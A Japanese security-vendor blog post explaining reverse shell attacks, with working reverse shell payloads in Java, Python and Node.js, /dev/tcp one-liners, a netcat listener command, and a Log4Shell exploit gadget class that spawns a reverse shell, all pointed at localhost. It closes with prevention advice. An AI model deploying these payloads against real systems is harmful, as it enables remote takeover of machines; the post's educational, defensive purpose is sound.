Skip to main content

リバースシェル攻撃でサーバーを乗っ取る

hero tsd podcast navy

2022年8月10日

0 分で読めます

編集者注:2023年5月9日

2022年8月10日に公開されたこの記事を更新し、Snykがリバースシェル攻撃の防止にどのように役立つかを紹介しています。

お気に入りの言語でアプリケーションを作成して実行するのは、たいてい簡単です。作成したアプリケーションをデプロイして公開するのも、さほど難しくありません。せっかく作ったアプリケーションを誰かに乗っ取られ、システムを完全に掌握されるような事態は避けたいものです。この記事では、リバースシェル攻撃によってそれがどのように起こり得るのかを説明します。

この記事のコード例は、あくまで教育目的です。リモートシェル攻撃とは何か、アプリケーションでどのように発生するのかを解説することを目的としています。この記事やその他の例を使って誰かをハッキングすることは推奨しません。多くの国では、たとえ善意であっても、対象者の同意を得ずにハッキングすることは違法です。

リバースシェルとは?

リバースシェル(コールバックシェルとも呼ばれます)とは、標的のマシンからリモートホストに対して開始されるシェルセッションです。標的のマシンが、特定のホストとポートにセッションを開きます。リモートホストが適切なソフトウェアを使ってそのポートで待ち受けていれば、シェル接続を確立できます。重要なのは、接続を開始するのはリモートホストではなく、標的のマシンだという点です。

リモートシェル攻撃では、攻撃者は被害者のマシンにこのような接続を開始させようとします。攻撃が成功すると、対話型シェル(基本的にはターミナル)へのアクセスを確立し、被害者のマシンを乗っ取ることができます。

リバースシェル攻撃はどのように発生する?

多くの場合、アプリケーションにリモートコード実行の脆弱性があると、リバースシェル攻撃が発生します。攻撃者はアプリケーションの脆弱性を利用して、被害者のマシン上でシェルセッションを開始するコードを実行します。被害者は気づかないうちに接続を作成し、攻撃者は正しいポートで着信接続を待ち受けるだけです。接続が確立されると、攻撃者は被害者のマシンのシェルにアクセスし、さまざまな操作を行えるようになります。

テニスボールをイメージしてください。硬いものに向かってボールを投げると、跳ね返ってきます。あとは、適切な場所とタイミングで受け止めるだけです。 

リバースシェル接続を作成する

リバースシェルを作成する方法は、使用する言語によっていくつかあります。ただし、リバースシェルのコードを実行する前に、着信接続を受け付ける正しいポートで待ち受けていることを確認する必要があります。

netcatで着信接続を待ち受ける

この用途に便利なのがnetcatです。netcat(略してnc)は、TCPまたはUDPを使ってネットワーク接続から読み取り、書き込みを行うネットワークユーティリティです。リバースシェルの接続先となるマシンでは、netcatを使って指定したポートへの着信接続を待ち受けられます。以下の例では、netcatでポート9001を待ち受けます。vパラメーターは必須ではありませんが、詳細な出力が表示されます。

nc -lvp 9001

Python、Java、Node.jsでリバースシェルを実行する

リバースシェルを設定する方法を2つ紹介します。どちらの例も、bashシェルがインストールされたシステムで使用できます。

リバースシェルのペイロード:

1つ目の方法では、プログラムからシェルを起動します。次に、適切なIPアドレスとポートを指定して、リモートコンピューターへのソケット接続を作成します。

最後に、シェルのファイル記述子(入力、出力、エラー)を、新しく作成したソケット接続に接続します。

Java

public static void main(String[] args) throws IOException {
       Process process = new ProcessBuilder("bash").redirectErrorStream(true).start();
       Socket socket = new Socket("127.0.0.1", 9001);
       InputStream pInput = process.getInputStream();
       InputStream pError = process.getErrorStream();
       InputStream sInput = socket.getInputStream();

       OutputStream pOutput = process.getOutputStream();
       OutputStream sOutput = socket.getOutputStream();

       while (!socket.isClosed()) {
           while (pInput.available() > 0) sOutput.write(pInput.read());
           while (pError.available() > 0) sOutput.write(pError.read());
           while (sInput.available() > 0) pOutput.write(sInput.read());
           sOutput.flush();
           pOutput.flush();
       }
}

このJavaの例では、プロセスのInputStreamとErrorStreamを、リモートソケット接続のOutputStreamに転送します。逆方向の接続も必要です。Socket OutputStreamをbashプロセスのInputstreamに書き込みます。

Pythonのリバースシェル

import sys,socket,os,pty;

s = socket.socket();
s.connect(("127.0.0.1",9001));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("bash");

このPythonスクリプトでは、stdin、stdout、stderrをソケット接続に接続します。Unix系システムでは、これらは最初の3つのファイル記述子です。次に、ptyを使ってbashを実行します。

Node.js

var net = require("net");
var cp = require("child_process");
var sh = cp.spawn("bash", []);
var client = new net.Socket();
client.connect(9001, "127.0.0.1", function(){
   client.pipe(sh.stdin);
   sh.stdout.pipe(client);
   sh.stderr.pipe(client);
});

このNode.jsの例は、Pythonの例とよく似ています。bashを実行し、標準ファイル記述子をソケット接続に適切に接続します。

リバースシェルコマンドを実行する:

2つ目の方法は、もう少し簡潔です。多くの言語には、次のようにシェルコマンドを実行する方法があります。

  • JavaのRuntime.getRuntime()

  • Pythonのos.system()

  • Node.jsのrequire(‘child_process’).exec()

これらの関数を使って、リバースシェルを開始するワンライナーのシェルコマンドを実行できます。

Java

public static void main(String[] args) throws IOException {
   String[] cmd = {
           "bash",
           "-c",
           "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };

   Runtime.getRuntime().exec(cmd);
}

Python

import os;

os.system('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

Node.js

require('child_process').exec('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

ポート9001を待ち受けるnetcatコマンドを実行した状態で、このコードを実行すると、接続が確立され、以下のようなシェルコマンドを実行できることがわかります。

ポート9001で接続を受信するncリスナーと、その後にwhoamiコマンドが「brianvermeer」を返す様子を表示したターミナルウィンドウ。

上記の例はいずれも、自分自身へのリバースシェル接続を作成します。リモートマシンを対象にする場合は、IPアドレスを適切に変更してください。また、アクセスできたとしても、権限は被害者のマシンでこのコードを実行しているユーザーに依存します。権限を昇格させるには、さらに別の手順が必要な場合があります。

リモートコード実行の脆弱性を利用してリバースシェル攻撃を仕掛ける

このようなコード例を使って実際に攻撃するには、コード実行の脆弱性を悪用し、既存のシステムにコードを挿入する必要があります。その代表例が、2021年12月に発見されたLog4Shellの脆弱性です。インスタンス化時にコードを実行するガジェットクラスを挿入できました。多くの例では、電卓などを起動する無害な方法が紹介されていました。しかし、以下のコードは、この悪名高いLog4jの脆弱性を悪用するガジェットを作成します。Log4Shellを悪用すれば、電卓を起動するのではなく、リバースシェルを実行できるように利用できます。

public class Evil implements ObjectFactory {

   @Override
   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
       String[] cmd = {
               "/bin/bash",
               "-c",
               "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };

       Runtime.getRuntime().exec(cmd);
       return null;
   }
}

ほぼすべてのリモートコード実行の脆弱性は、リバースシェル攻撃に利用できます。最近の例には、Spring4ShellやApache Commons ConfigurationのRCEがあります。どちらもLog4Shellほど深刻ではありませんでしたが、リバースシェル攻撃を仕掛け、標的のマシンを制御するために利用できる可能性があります。そのため、ユーザー入力が一部でも実行されないようにすることが重要です。

Snyk Open Sourceを使えば、Log4jの問題を含むオープンソースライブラリの脆弱性をアプリケーションでスキャンできます。以下は、この問題とその修正方法を示すSnyk IntelliJ IDEAプラグインの出力例です。

Apache Log4j 2.14.1の任意コード実行の脆弱性と、修正版のバージョン2.15.0を示すSnykの脆弱性画面。

リバースシェル攻撃を防ぐ方法

攻撃者によるマシン上でのコード実行を防げれば、リバースシェル攻撃の可能性をほぼすべて排除できます。開発者が悪意のあるリバースシェル攻撃を防ぐためにできる対策をいくつか見てみましょう。

  • 実行ステートメントを削除する。exec()のように、スクリプトやその他のコードを実行できるステートメントは、できる限り避けてください。

  • 入力をサニタイズして検証する。すべての入力は悪意のあるものかもしれないと考えてください。直接入力されたユーザーデータだけではありません。たとえば、データベースのフィールドが実行処理への入力になる場合、データベースを攻撃される可能性があります。

  • アプリケーションの実行権限を制限する。アプリケーションをrootとして実行せず、必要最小限の権限を持つユーザーを作成してください。残念ながら、Dockerコンテナではよく見られる問題です。Dockerコンテナのデフォルトユーザーはrootだからです。

  • リモートコード実行につながる脆弱性を防ぐ。ライブラリやフレームワークが侵害された場合は、安全なバージョンに置き換えてください。

リモートコード実行の脆弱性は、たとえ想定しにくい用途であっても、ほぼすべてリバースシェル攻撃に悪用される可能性があります。

Snykが役立ちます!

Snykは、コードや依存関係をスキャンしてリバースシェル攻撃を防ぐのに役立ちます。独自コードに潜む潜在的なセキュリティ上の問題を指摘し、推移的依存関係に既知の脆弱性がないかを確認します。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップを視聴して、CTFの課題の解き方を学びましょう。

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

AIコーディングエージェントが不適切なアクセス制御を繰り返し実装する理由

AIコーディングエージェントは、コンパイルが通りレビューも通過する一方で、あるテナントのデータを別のテナントに公開してしまう認可ロジックを生成することがあります。不適切なアクセス制御が検出しにくい理由と、その防止策をご紹介します。